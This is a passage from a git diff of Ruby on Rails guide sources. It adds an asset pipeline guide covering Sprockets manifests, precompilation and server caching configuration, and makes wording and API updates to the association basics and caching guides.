manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is true). By serving one file rather than many, the load time of pages are greatly reduced as there are fewer requests to make. + +For example, in the default Rails application there's a +app/assets/javascripts/application.js+ file which contains the following lines: + +<plain> +// ... +//= require jquery +//= require jquery_ujs +//= require_tree . +</plain> + +In JavaScript files, the directives begin with +//=+. In this case, the file is using the +require+ and the +require_tree+ directives. The +require+ directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files +jquery.js+ and +jquery_ujs.js+ that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a +.js+ file when done from within a +.js+ file. + +NOTE. In Rails 3.1 the +jquery-rails+ gem provides the +jquery.js+ and +jquery_ujs.js+ files via the asset pipeline. You won't see them in the application tree. + +The +require_tree+ directive tells Sprockets to recursively include _all_ JavaScript files in this directory into the output. Only a path relative to the manifest file can be specified. There is also a +require_directory+ directive which includes all JavaScript files only in the directory specified (no nesting). + +Directives are processed top to bottom, but the order in which files are included by +require_tree+ is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other, require it before in the manifest. Note that the family of +require+ directives prevents files from being included twice in the output. + +There's also a default +app/assets/stylesheets/application.css+ file which contains these lines: + +<plain> +/* ... +*= require_self +*= require_tree . +*/ +</plain> + +The directives that work in the JavaScript files also work in stylesheets, obviously including stylesheets rather than JavaScript files. The +require_tree+ directive here works the same way as the JavaScript one, requiring all stylesheets from the current directory. + +In this example +require_self+ is used. This puts the CSS contained within the file (if any) at the precise location of the +require_self+ call. If +require_self+ is called more than once, only the last call is respected. + +NOTE. If you want to use multiple Sass files, use the "Sass +@import+ rule":http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import instead of the Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in. + +You can have as many manifest files as you need. For example the +admin.css+ and +admin.js+ manifest could contain the JS and CSS files that are used for the admin section of an application. + +The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified: + +<plain> +/* ... +*= require reset +*= require layout +*= require chrome +*/ +</plain> + + +h4. Preprocessing + +The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and an +app/assets/stylesheets/projects.css.scss+ file. + +When these files are requested, they are processed by the processors provided by the +coffee-script+ and +sass-rails+ gems and then sent back to the browser as JavaScript and CSS respectively. + +Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ is first processed as ERB, then SCSS and finally served as CSS. The same applies to a JavaScript file -- +app/assets/javascripts/projects.js.coffee.erb+ is processed as ERB, CoffeeScript, and served as JavaScript. + +Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems. + +h3. In Development + +In development mode assets are served as separate files in the order they are specified in the manifest file. + +This manifest +app/assets/javascripts/application.js+: + +<plain> +//= require core +//= require projects +//= require tickets +</plain> + +would generate this HTML: + +<html> +<script src="/assets/core.js?body=1" type="text/javascript"></script> +<script src="/assets/projects.js?body=1" type="text/javascript"></script> +<script src="/assets/tickets.js?body=1" type="text/javascript"></script> +</html> + +The +body+ param is required by Sprockets. + +h4. Turning Debugging off + +You can turn off debug mode by updating +config/environments/development.rb+ to include: + +<ruby> +config.assets.debug = false +</ruby> + +When debug mode is off Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead: + +<html> +<script src="/assets/application.js" type="text/javascript"></script> +</html> + +Assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-revalidate+ Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (Not Modified) response. + +If any of the files in the manifest have changed between requests, the server responds with a new compiled file. + +Debug mode can also be enabled in the Rails helper methods: + +<erb> +<%= stylesheet_link_tag "application", :debug => true %> +<%= javascript_include_tag "application", :debug => true %> +</erb> + +The +:debug+ option is redundant if debug mode is on. + +You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging. + +h3. In Production + +In the production environment Rails uses the fingerprinting scheme outlined above. By default it is assumed that assets have been precompiled and will be served as static assets by your web server. + +During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name. + +For example this: + +<erb> +<%= javascript_include_tag "application" %> +<%= stylesheet_link_tag "application" %> +</erb> + +generates something like this: + +<html> +<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js" type="text/javascript"></script> +<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" type="text/css" /> +</html> + +The fingerprinting behavior is controlled by the setting of +config.assets.digest+ setting in Rails (which is +true+ for production, +false+ for everything else). + +NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes. + +h4. Precompiling Assets + +Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk. + +Compiled assets are written to the location specified in +config.assets.prefix+. The default setting will use the +public/assets+ directory. + +You must use this task either during deployment or locally if you do not have write access to your production filesystem. + +The rake task is: + +<plain> +bundle exec rake assets:precompile +</plain> + +For faster asset precompiles, you can partially load your application by setting ++config.assets.initialize_on_precompile+ to false in +config/application.rb+, though in that case templates +cannot see application objects or methods. *Heroku requires this to be false.* + +WARNING: If you set +config.assets.initialize_on_precompile+ to false, be sure to +test +rake assets:precompile+ locally before deploying. It may expose bugs where +your assets reference application objects or methods, since those are still +in scope in development mode regardless of the value of this flag. + +Capistrano (v2.8.0 and above) has a recipe to handle this in deployment. Add the following line to +Capfile+: + +<erb> +load 'deploy/assets' +</erb> + +This links the folder specified in +config.assets.prefix+ to +shared/assets+. If you already use this shared folder you'll need to write your own deployment task. + +It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page. + +NOTE. If you are precompiling your assets locally, you can use +bundle install --without assets+ on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile). + +The default matcher for compiling files includes +application.js+, +application.css+ and all files that do not end in +js+ or +css+: + +<ruby> +[ /\w<plus>\.(?!js|css).<plus>/, /application.(css|js)$/ ] +</ruby> + +If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array: + +<erb> +config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js'] +</erb> + +The rake task also generates a +manifest.yml+ that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods and avoids handing the mapping requests back to Sprockets. A typical manifest file looks like: + +<plain> +--- +rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png +jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js +jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js +application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js +application.css: application-8af74128f904600e41a6e39241464e03.css +</plain> + +The default location for the manifest is the root of the location specified in +config.assets.prefix+ ('/assets' by default). + +This can be changed with the +config.assets.manifest+ option. A fully specified path is required: + +<erb> +config.assets.manifest = '/path/to/some/other/location' +</erb> + +NOTE: If there are missing precompiled files in production you will get an <tt>Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError</tt> exception indicating the name of the missing file(s). + +h5. Server Configuration + +Precompiled assets exist on the filesystem and are served directly by your webserver. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them. + +For Apache: + +<plain> +<LocationMatch "^/assets/.*$"> + # Some browsers still send conditional-GET requests if there's a + # Last-Modified header or an ETag header even if they haven't + # reached the expiry date sent in the Expires header. + Header unset Last-Modified + Header unset ETag + FileETag None + # RFC says only cache for 1 year + ExpiresActive On + ExpiresDefault "access plus 1 year" +</LocationMatch> +</plain> + +For nginx: + +<plain> +location ~ ^/assets/ { + expires 1y; + add_header Cache-Control public; + + # Some browsers still send conditional-GET requests if there's a + # Last-Modified header or an ETag header even if they haven't + # reached the expiry date sent in the Expires header. + add_header Last-Modified ""; + add_header ETag ""; + break; +} +</plain> + +When files are precompiled, Sprockets also creates a "gzipped":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves. + +Nginx is able to do this automatically enabling +gzip_static+: + +<plain> +location ~ ^/(assets)/ { + root /path/to/public; + gzip_static on; # to serve pre-gzipped version + expires max; + add_header Cache-Control public; +} +</plain> + +This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even +nginx-light+ have the module compiled. Otherwise, you may need to perform a manual compilation: + +<plain> +./configure --with-http_gzip_static_module +</plain> + +If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted. + +Unfortunately, a robust configuration for Apache is possible but tricky, please Google around. + +h4. Live Compilation + +In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly. + +To enable this option set: + +<erb> +config.assets.compile = true +</erb> + +On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash. + +Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache. + +This mode uses more memory, performs poorer than the default and is not recommended. + +When deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile: + +<plain> +group :production do + gem 'therubyracer' +end +</plain> + +h3. Customizing the Pipeline + +h4. CSS Compression + +There is currently one option for compressing CSS, YUI. The "YUI CSS compressor":http://developer.yahoo.com/yui/compressor/css.html provides minification. + +The following line enables YUI compression, and requires the +yui-compressor+ gem. + +<erb> +config.assets.css_compressor = :yui +</erb> + +The +config.assets.compress+ must be set to +true+ to enable CSS compression. + +h4. JavaScript Compression + +Possible options for JavaScript compression are +:closure+, +:uglifier+ and +:yui+. These require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively. + +The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compresses your code by removing white space and other magical things like changing your +if+ and +else+ statements to ternary operators where possible. + +The following line invokes +uglifier+ for JavaScript compression. + +<erb> +config.assets.js_compressor = :uglifier +</erb> + +The +config.assets.compress+ must be set to +true+ to enable JavaScript compression + +NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use +uglifier+. If you are using Mac OS X or Windows you have installed a JavaScript runtime in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes. + +h4. Using Your Own Compressor + +The compressor config settings for CSS and JavaScript also take any Object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string. + +<erb> +class Transformer + def compress(string) + do_something_returning_a_string(string) + end +end +</erb> + +To enable this, pass a +new+ Object to the config option in +application.rb+: + +<erb> +config.assets.css_compressor = Transformer.new +</erb> + + +h4. Changing the _assets_ Path + +The public path that Sprockets uses by default is +/assets+. + +This can be changed to something else: + +<erb> +config.assets.prefix = "/some_other_path" +</erb> + +This is a handy option if you have any existing project (pre Rails 3.1) that already uses this path or you wish to use this path for a new resource. + +h4. X-Sendfile Headers + +The X-Sendfile header is a directive to the server to ignore the response from the application, and instead serve the file specified in the headers. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster. + +Apache and nginx support this option which is enabled in <tt>config/environments/production.rb</tt>. + +<erb> +# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache +# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx +</erb> + +WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into +production.rb+ (and not +application.rb+) and any other environment you define with production behavior. + +h3. How Caching Works + +Sprockets uses the default Rails cache store to cache assets in development and production. + +TODO: Add more about changing the default store. + +h3. Adding Assets to Your Gems + +Assets can also come from external sources in the form of gems. + +A good example of this is the +jquery-rails+ gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from +Rails::Engine+. By doing this, Rails is informed that the directory for this gem may contain assets and the +app/assets+, +lib/assets+ and +vendor/assets+ directories of this engine are added to the search path of Sprockets. + +h3. Making Your Library or Gem a Pre-Processor + +TODO: Registering gems on "Tilt":https://github.com/rtomayko/tilt enabling Sprockets to find them. + +h3. Upgrading from Old Versions of Rails + +There are two issues when upgrading. The first is moving the files to the new locations. See the section above for guidance on the correct locations for different file types. + +The second is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0. + +In +application.rb+: + +<erb> +# Enable the asset pipeline +config.assets.enabled = true + +# Version of your assets, change this if you want to expire all your assets +config.assets.version = '1.0' + +# Change the path that assets are served from +# config.assets.prefix = "/assets" +</erb> + +In +development.rb+: + +<erb> +# Do not compress assets +config.assets.compress = false + +# Expands the lines which load the assets +config.assets.debug = true +</erb> + +And in +production.rb+: + +<erb> +# Compress JavaScripts and CSS +config.assets.compress = true + +# Choose the compressors to use +# config.assets.js_compressor = :uglifier +# config.assets.css_compressor = :yui + +# Don't fallback to assets pipeline if a precompiled asset is missed +config.assets.compile = false + +# Generate digests for assets URLs. +config.assets.digest = true + +# Defaults to Rails.root.join("public/assets") +# config.assets.manifest = YOUR_PATH + +# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) +# config.assets.precompile += %w( search.js ) +</erb> + +There are no changes to +test.rb+. The defaults in the test environment are: +config.assets.compile+ is true and +config.assets.compress+, +config.assets.debug+ and +config.assets.digest+ are false. + +The following should also be added to +Gemfile+: + +<plain> +# Gems used only for assets and not required +# in production environments by default. +group :assets do + gem 'sass-rails', "~> 3.1.0" + gem 'coffee-rails', "~> 3.1.0" + gem 'uglifier' +end +</plain> + +If you use the +assets+ group with Bundler, please make sure that your +config/application.rb+ has the following Bundler require statement. + +<ruby> +if defined?(Bundler) + # If you precompile assets before deploying to production, use this line + Bundler.require *Rails.groups(:assets => %w(development test)) + # If you want your assets lazily compiled in production, use this line + # Bundler.require(:default, :assets, Rails.env) +end +</ruby> + +Instead of the old Rails 3.0 one + +<ruby> +# If you have a Gemfile, require the gems listed there, including any gems +# you've limited to :test, :development, or :production. +Bundler.require(:default, Rails.env) if defined?(Bundler) +</ruby> diff --git a/railties/guides/source/association_basics.textile b/railties/guides/source/association_basics.textile index 458bfefad8..6829eb8ef4 100644 --- a/railties/guides/source/association_basics.textile +++ b/railties/guides/source/association_basics.textile @@ -211,7 +211,7 @@ end h4. Choosing Between +belongs_to+ and +has_one+ -If you want to set up a 1–1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which? +If you want to set up a one-to-one relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which? The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this: @@ -443,7 +443,7 @@ class CreateAssemblyPartJoinTable < ActiveRecord::Migration end </ruby> -We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behaviour in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit. +We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit. h4. Controlling Association Scope @@ -566,7 +566,7 @@ The <tt>build_<em>association</em></tt> method returns a new object of the assoc h6(#belongs_to-create_association). <tt>create_<em>association</em>(attributes = {})</tt> -The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations). +The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @customer = @order.create_customer(:customer_number => 123, @@ -576,7 +576,7 @@ The <tt>create_<em>association</em></tt> method returns a new object of the asso h5. Options for +belongs_to+ -In many situations, you can use the default behavior of +belongs_to+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +belongs_to+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +belongs_to+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Order < ActiveRecord::Base @@ -671,7 +671,7 @@ WARNING: You should not specify this option on a +belongs_to+ association that i h6(#belongs_to-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Order < ActiveRecord::Base @@ -760,9 +760,9 @@ h6(#belongs_to-validate). +:validate+ If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. -h5(#belongs_to-how_to_know_whether_theres_an_associated_object). How To Know Whether There's an Associated Object? +h5(#belongs_to-do_any_associated_objects_exist). Do Any Associated Objects Exist? -To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>: +You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method: <ruby> if @order.customer.nil? @@ -834,7 +834,7 @@ The <tt>build_<em>association</em></tt> method returns a new object of the assoc h6(#has_one-create_association). <tt>create_<em>association</em>(attributes = {})</tt> -The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations). +The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @account = @supplier.create_account(:terms => "Net 30") @@ -842,7 +842,7 @@ The <tt>create_<em>association</em></tt> method returns a new object of the asso h5. Options for +has_one+ -In many situations, you can use the default behavior of +has_one+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_one+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_one+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Supplier < ActiveRecord::Base @@ -902,7 +902,7 @@ If you set the +:dependent+ option to +:destroy+, then deleting this object will h6(#has_one-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Supplier < ActiveRecord::Base @@ -954,7 +954,7 @@ The +:order+ option dictates the order in which associated objects will be recei h6(#has_one-primary_key). +:primary_key+ -By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. +By convention, Rails assumes that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. h6(#has_one-readonly). +:readonly+ @@ -980,9 +980,9 @@ h6(#has_one-validate). +:validate+ If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. -h5(#has_one-how_to_know_whether_theres_an_associated_object). How To Know Whether There's an Associated Object? +h5(#has_one-do_any_associated_objects_exist). Do Any Associated Objects Exist? -To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>: +You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method: <ruby> if @supplier.account.nil? @@ -1120,11 +1120,9 @@ h6(#has_many-collection-find). <tt><em>collection</em>.find(...)</tt> The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. <ruby> -@open_orders = @customer.orders.all(:conditions => "open = 1") +@open_orders = @customer.orders.where(:open => 1) </ruby> -NOTE: Starting Rails 3, supplying options to +ActiveRecord::Base.find+ method is discouraged. Use <tt><em>collection</em>.where</tt> instead when you need to pass conditions. - h6(#has_many-collection-where). <tt><em>collection</em>.where(...)</tt> The <tt><em>collection</em>.where</tt> method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. @@ -1149,7 +1147,7 @@ The <tt><em>collection</em>.build</tt> method returns one or more new objects of h6(#has_many-collection-create). <tt><em>collection</em>.create(attributes = {})</tt> -The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations). +The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @order = @customer.orders.create(:order_date => Time.now, @@ -1158,7 +1156,7 @@ The <tt><em>collection</em>.create</tt> method returns a new object of the assoc h5. Options for +has_many+ -In many situations, you can use the default behavior for +has_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_many+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Customer < ActiveRecord::Base @@ -1231,17 +1229,15 @@ end If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+. -If you need to evaluate conditions dynamically at runtime, you could use string interpolation in single quotes: +If you need to evaluate conditions dynamically at runtime, use a proc: <ruby> class Customer < ActiveRecord::Base has_many :latest_orders, :class_name => "Order", - :conditions => 'orders.created_at > #{10.hours.ago.to_s(:db).inspect}' + :conditions => proc { "orders.created_at > #{10.hours.ago.to_s(:db).inspect}" } end </ruby> -Be sure to use single quotes. - h6(#has_many-counter_sql). +:counter_sql+ Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself. @@ -1264,7 +1260,7 @@ Normally Rails automatically generates the proper SQL to fetch the association m h6(#has_many-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Customer < ActiveRecord::Base @@ -1347,7 +1343,7 @@ end h6(#has_many-primary_key). +:primary_key+ -By convention, Rails guesses that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. +By convention, Rails assumes that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. h6(#has_many-readonly). +:readonly+ @@ -1553,7 +1549,7 @@ The <tt><em>collection</em>.find</tt> method finds objects within the collection :conditions => ["created_at > ?", 2.days.ago]) </ruby> -NOTE: Starting Rails 3, supplying options to +ActiveRecord::Base.find+ method is discouraged. Use <tt><em>collection</em>.where</tt> instead when you need to pass conditions. +NOTE: Beginning with Rails 3, supplying options to the +ActiveRecord::Base.find+ method is discouraged. Use <tt><em>collection</em>.where</tt> instead when you need to pass conditions. h6(#has_and_belongs_to_many-collection-where). <tt><em>collection</em>.where(...)</tt> @@ -1578,7 +1574,7 @@ The <tt><em>collection</em>.build</tt> method returns a new object of the associ h6(#has_and_belongs_to_many-create-attributes). <tt><em>collection</em>.create(attributes = {})</tt> -The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations). +The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @assembly = @part.assemblies.create( @@ -1587,7 +1583,7 @@ The <tt><em>collection</em>.create</tt> method returns a new object of the assoc h5. Options for +has_and_belongs_to_many+ -In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_and_belongs_to_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Parts < ActiveRecord::Base @@ -1621,7 +1617,7 @@ The +has_and_belongs_to_many+ association supports these options: h6(#has_and_belongs_to_many-association_foreign_key). +:association_foreign_key+ -By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly: TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example: @@ -1689,7 +1685,7 @@ Normally Rails automatically generates the proper SQL to fetch the association m h6(#has_and_belongs_to_many-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class User < ActiveRecord::Base @@ -1857,17 +1853,8 @@ class Customer < ActiveRecord::Base end </ruby> -Extensions can refer to the internals of the association proxy using these three accessors: - -* +proxy_owner+ returns the object that the association is a part of. -* +proxy_reflection+ returns the reflection object that describes the association. -* +proxy_target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+. - -h3. Changelog +Extensions can refer to the internals of the association proxy using these three attributes of the +proxy_association+ accessor: -* April 7, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* April 19, 2009: Added +:touch+ option to +belongs_to+ associations by "Mike Gunderloy":credits.html#mgunderloy -* February 1, 2009: Added +:autosave+ option "Mike Gunderloy":credits.html#mgunderloy -* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by "Mike Gunderloy":credits.html#mgunderloy . First release version. -* September 22, 2008: Added diagrams, misc. cleanup by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 14, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) +* +proxy_association.owner+ returns the object that the association is a part of. +* +proxy_association.reflection+ returns the reflection object that describes the association. +* +proxy_association.target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+. diff --git a/railties/guides/source/caching_with_rails.textile b/railties/guides/source/caching_with_rails.textile index 91827fd493..4273d0dd64 100644 --- a/railties/guides/source/caching_with_rails.textile +++ b/railties/guides/source/caching_with_rails.textile @@ -15,7 +15,7 @@ h3. Basic Caching This is an introduction to the three types of caching techniques that Rails provides by default without the use of any third party plugins. -To start playing with testing you'll want to ensure that +config.action_controller.perform_caching+ is set to +true+ if you're running in development mode. This flag is normally set in the corresponding +config/environments/*.rb+ and caching is disabled by default for development and test, and enabled for production. +To start playing with caching you'll want to ensure that +config.action_controller.perform_caching+ is set to +true+, if you're running in development mode. This flag is normally set in the corresponding +config/environments/*.rb+ and caching is disabled by default for development and test, and enabled for production. <ruby> config.action_controller.perform_caching = true @@ -23,9 +23,9 @@ config.action_controller.perform_caching = true h4. Page Caching -Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with. +Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with. -So, how do you enable this super-fast cache behavior? Simple, let's say you have a controller called +ProductsController+ and an +index+ action that lists all the products +To enable page caching, you need to use the +caches_page+ method. <ruby> class ProductsController < ActionController @@ -35,11 +35,10 @@ class ProductsController < ActionController def index @products = Products.all end - end </ruby> -The first time anyone requests +/products+, Rails will generate a file called +products.html+ and the webserver will then look for that file before it passes the next request for +/products+ to your Rails application. +Let's say you have a controller called +ProductsController+ and an +index+ action that lists all the products. The first time anyone requests +/products+, Rails will generate 